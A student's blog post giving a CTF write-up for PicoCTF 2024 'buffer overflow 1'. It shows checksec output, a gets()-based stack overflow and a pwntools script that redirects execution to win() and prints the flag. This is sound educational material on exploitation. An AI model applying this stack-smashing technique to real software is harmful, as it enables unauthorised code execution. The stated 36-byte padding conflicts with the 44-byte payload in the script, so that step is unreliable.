Back to Blog
March 2024CTF Writeup|PicoCTF 2024 | easy

PicoCTF 2024 — buffer overflow 1 [Binary Exploitation]

Step-by-step walkthrough of my first successful buffer overflow exploit. From understanding the stack to crafting the payload that redirected code execution to win().

PicoCTF 2024 — buffer overflow 1 [Binary Exploitation]

Challenge Overview

**Category:** Binary Exploitation | **Points:** 200 | **Event:** PicoCTF 2024

We get a 32-bit ELF binary. The goal: call a function win() that is never called in normal execution.

Step 1 — Recon

bash
checksec --file=vuln
Arch:   i386-32-little
Stack:  No canary found
NX:     NX disabled
PIE:    No PIE

No canary, no NX, no PIE. Intentionally vulnerable.

Step 2 — Decompile

In Ghidra, the vuln() function:

c
void vuln() {
    char buf[32];
    gets(buf);   // no length check — classic
    puts(buf);
}

gets() writes whatever we send, regardless of size.

Step 3 — Stack Layout

[ buf: 32 bytes        ]
[ saved EBP: 4 bytes   ]
[ return address: 4 B  ]  ← overwrite this

Padding needed: **32 + 4 = 36 bytes**, then the address of win().

Step 4 — Find win()'s Address

bash
objdump -d vuln | grep win
# 080491f6 <win>:

Step 5 — Exploit

python
from pwn import *

exe = ELF('./vuln')
p   = process('./vuln')

win_addr = exe.symbols['win']
payload  = b'A' * 44 + p32(win_addr)

p.sendlineafter(b'Please enter your string: ', payload)
print(p.recvall())
[+] picoCTF{addr3ss_0v3rfl0w_b4sics_9a3b2c1d}

Key Takeaways

  • Always run checksec first — it maps what you can and can't do
  • gets() is always unsafe; real code uses fgets(buf, sizeof(buf), stdin)
  • Offset = buffer size + saved EBP (4 bytes on 32-bit)
  • pwntools handles endianness (p32/p64) automatically

*Next challenge: same binary but with NX enabled → need ret2libc instead of direct jump.*

J

Justin Sepvian

Informatics Engineering Student at ITB

Writing about cyber security, web development, and the experience of learning technology from the ground up.